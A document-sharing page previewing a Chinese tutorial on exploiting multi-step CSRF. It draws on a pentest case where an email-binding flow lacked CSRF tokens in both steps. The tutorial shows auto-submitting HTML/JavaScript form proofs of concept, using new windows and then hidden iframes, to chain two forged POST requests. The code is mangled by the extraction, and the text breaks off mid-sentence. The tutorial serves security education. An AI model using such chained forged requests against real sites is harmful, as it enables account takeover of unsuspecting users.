多步CSRF漏洞场景及利用.docxVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
多步CSRF漏洞场景及其利用CSRF的漏洞原理和利用方式这里就不多赘述了。平时大家讨论的CSRF利用多是发送一次请求。比如CSRF刷粉丝,CSRF发微博。这里主要讨论一个稍微复杂点的利用场景。最近在做测试的时候遇到一个案例,用户绑定邮箱的请求没有防御CSRF。但是大家都知道绑定邮箱这个操作不是一步完成了。这次遇到的这个案例是这样的。用户发送一个申请绑定邮箱的请求,服务器给该邮箱发送一个验证码,然后用户在页面中输入验证码完成绑定。从上图的路程中可以看出。按照常见的csrf的漏洞来说,这里是没法利用的。因为即使我们伪造了请求,让用户发出了绑定申请的邮件,还需要用户把这个验证码在页面上输入才行。经过更进一步的分析发现,图中4这一步也是没有防御CSRF的。也就是说我们可以伪造两次请求来实现CSRF绑定邮箱。这样一个场景就是比较典型的多步CSRF。有了思路就可以开始写demo了。最初的想法:是不是用两个表单就可以了呢。html?body?form?id=form1?method=POST?action=?/first.aspx?input?type=hidden?name=test1?value=1?input?type=submit?value=form1?/form?form?id=form2?method=POST?action=?/second.aspx?input?type=hidden?name=test2?value=2?input?type=submit?value=form2?/form?script?document.getElementById(form1).submit(); ?window.setTimeout(?function?()?{?document.forms.form2.submit()},?12000);/script?/body?/html?测试发现这想法太天真了。第一个表单提交之后,就会跳转到返回的结果页面了。第二个表单不会提交了。而且这里遇到的这个场景比较特殊,并不是仅仅是先后提交两个表单就可以了。第二个表单里的值(验证码)是需要第一个表单提交之后,从邮箱里读出来再放到第二个表单里。经过查找资料。找到几个解决方案。解决方案1:使用form的target属性。target 属性规定在何处打开 action URL。根据查到的资料。默认是_self。所以会跳到结果页。我们使用_blank试试。html?body?form?id=form1?method=POST?target=;_blank?action=?/first.aspx?input?type=hidden?name=test1?value=1?input?type=submit?value=form1?/form?form?id=form2?method=POST?target=_blank?action=?/second.aspx?input?type=hidden?name=test2?value=2?input?type=submit?value=form2?/form?script?document.getElementById(form1).submit(); ?window.setTimeout(?function?()?{?document.forms.form2.submit()},?12000);/script?/body?/html?这种方式可以实现两次post的需求,不过太过暴力。需要新弹出窗口不说。弹出窗口也很可能被浏览器拦截掉。解决方案2:target可以选择一个frame。framename 在指定的框架中打开。所以可以这样写。这样子可以比较优雅的发两个post请求。html?body?form?id=form1?method=POST?target=csrfIframe1?action=/first.aspx?input?type=hidden?name=test1?value=1?input?type=submit?value=form1?/form?form?id=form2?method=POST?target=csrfIframe2?action=/second.aspx?input?type=hidden?name=test2?value=2?input?type=submit?value=form2?/form??window.onload?=?function()?{ ??document.getElementById(form1).submit(); ??//?to?make?2nd?form?wait?for?1st,?put?the?following?in?a?function?an

文档评论(0)

wwqqq + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档